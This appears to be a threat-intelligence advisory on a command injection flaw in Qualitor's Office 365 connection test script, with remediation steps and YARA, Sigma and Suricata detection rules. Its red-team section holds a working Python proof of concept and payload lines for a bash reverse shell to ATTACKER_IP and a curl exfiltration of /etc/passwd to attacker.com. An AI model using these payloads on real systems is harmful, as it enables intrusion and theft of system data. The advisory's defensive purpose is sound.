CVE-2025-5139

Executive Summary

CVE-2025-5139 is a critical command injection vulnerability discovered in Qualitor versions 8.20 and 8.24. The flaw resides in the /html/ad/adconexaooffice365/request/testaConexaoOffice365.php file, specifically within the Office 365-type Connection Handler component. By manipulating the nmconexao argument, an unauthenticated remote attacker can inject arbitrary operating system commands. Although the attack complexity is high due to required conditions, a public proof-of-concept (PoC) has been released, increasing the risk of exploitation. The vendor has released patches in versions 8.20.56 and 8.24.31. Immediate upgrade is strongly recommended.

CVSS Breakdown & Threat Level

• CVSS Score: 5.6 (Medium)
• Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network – exploitable remotely.
• Attack Complexity (AC): High – exploitation requires specific conditions or knowledge.
• Privileges Required (PR): None – no authentication needed.
• User Interaction (UI): None – no user action required.
• Scope (S): Unchanged – impact confined to the vulnerable component.
• Confidentiality (C): High – full system read access possible.
• Integrity (I): High – full system write access possible.
• Availability (A): High – potential for denial of service.

Threat Level: High. Despite the medium CVSS score, the public availability of exploit code and the critical nature of command injection elevate the real-world risk.

Deep Dive & Mechanics

The vulnerability is a classic command injection flaw in the testaConexaoOffice365.php script. This script is part of Qualitor’s Office 365 connection handler, used to test connectivity to Office 365 services. The nmconexao parameter is passed unsanitized to a system command (likely exec(), system(), or similar PHP function). An attacker can inject shell metacharacters (e.g., ;, |, &&) to execute arbitrary commands on the underlying operating system.

Attack Flow:

1. The attacker sends a crafted HTTP POST request to /html/ad/adconexaooffice365/request/testaConexaoOffice365.php.
2. The nmconexao parameter contains a payload such as ;id.
3. The vulnerable script concatenates this input into a shell command without proper escaping.
4. The injected command (id) is executed with the privileges of the web server (typically www-data or equivalent).
5. The output may be returned in the HTTP response or exfiltrated via outbound connection.

Why High Complexity? The exploit requires the attacker to know the exact request structure and possibly bypass input filters. However, the public PoC simplifies this.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<?php
$nmconexao = $_POST['nmconexao'];
$command = "ping -c 1 " . $nmconexao;
$output = shell_exec($command);
echo $output;
?>

Patched Code (Conceptual):

<?php
$nmconexao = $_POST['nmconexao'];
// Sanitize input: allow only alphanumeric and specific safe characters
if (preg_match('/^[a-zA-Z0-9._-]+$/', $nmconexao)) {
    $command = "ping -c 1 " . escapeshellarg($nmconexao);
    $output = shell_exec($command);
    echo $output;
} else {
    echo "Invalid input.";
}
?>

The patch uses escapeshellarg() to properly escape the argument and adds input validation to reject malicious characters.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running Qualitor 8.20 or 8.24.
• Network access to the vulnerable endpoint.

Exploit PoC (Python):

import requests

target = "http://target.com/html/ad/adconexaooffice365/request/testaConexaoOffice365.php"
payload = ";id"  # Command injection payload

data = {"nmconexao": payload}
response = requests.post(target, data=data)

print("Response:")
print(response.text)

Expected Output: The id command output (e.g., uid=33(www-data) gid=33(www-data) groups=33(www-data)).

Advanced Payloads:

• Reverse shell: ;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
• Data exfiltration: ;curl http://attacker.com/$(cat /etc/passwd)

Blue Team (Defensive)

Detection Steps:

1. Monitor web server logs for requests to /html/ad/adconexaooffice365/request/testaConexaoOffice365.php with unusual nmconexao parameters.
2. Look for shell metacharacters (;, |, &, `, $()) in POST data.
3. Alert on outbound connections from the web server to unknown IPs on unusual ports (e.g., 4444).

Honeypot Setup:

• Deploy a decoy Qualitor instance and log all nmconexao values.
• Use a WAF rule to block requests containing shell metacharacters in the nmconexao parameter.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /html/ad/adconexaooffice365/request/testaConexaoOffice365.php with nmconexao containing ;, |, &, `, $().
  • Outbound connections from the web server to attacker-controlled IPs on ports 4444, 8080, etc.
• File System IOCs:
  • Unexpected files in /tmp/ or web-accessible directories (e.g., shell.php).
  • Modified system binaries or cron jobs.
• Process IOCs:
  • Unusual processes spawned by the web server user (e.g., bash, nc, python).

Detection Engineering

YARA Rule

rule CVE_2025_5139_Qualitor_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting CVE-2025-5139 in Qualitor"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-5139"
    strings:
        $injection_pattern = /nmconexao=.*[;&|`$()]/
        $target_path = "/html/ad/adconexaooffice365/request/testaConexaoOffice365.php"
    condition:
        $target_path and $injection_pattern
}

Sigma Rule

title: Qualitor Office 365 Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to Qualitor's testaConexaoOffice365.php with command injection payloads
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-5139
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/html/ad/adconexaooffice365/request/testaConexaoOffice365.php'
        cs-uri-query|contains: 'nmconexao='
    filter:
        cs-uri-query|re: 'nmconexao=[a-zA-Z0-9._-]+$'
    condition: selection and not filter
falsepositives:
    - Legitimate use of special characters in connection names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-5139 Qualitor Office 365 Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/html/ad/adconexaooffice365/request/testaConexaoOffice365.php"; http_uri; content:"nmconexao="; http_client_body; pcre:"/nmconexao=[^&]*[;&|`$()]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Qualitor to version 8.20.56 or 8.24.31 as recommended by the vendor.
2. If immediate upgrade is not possible, apply a virtual patch using a Web Application Firewall (WAF) to block requests containing shell metacharacters in the nmconexao parameter.
3. Restrict network access to the vulnerable endpoint using firewall rules (allow only trusted IPs).

Long-Term Measures:

• Implement input validation and output encoding for all user-supplied data.
• Use parameterized commands or safe APIs instead of shell execution.
• Conduct regular security audits and penetration testing.
• Monitor for similar vulnerabilities in other Qualitor components.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence Division.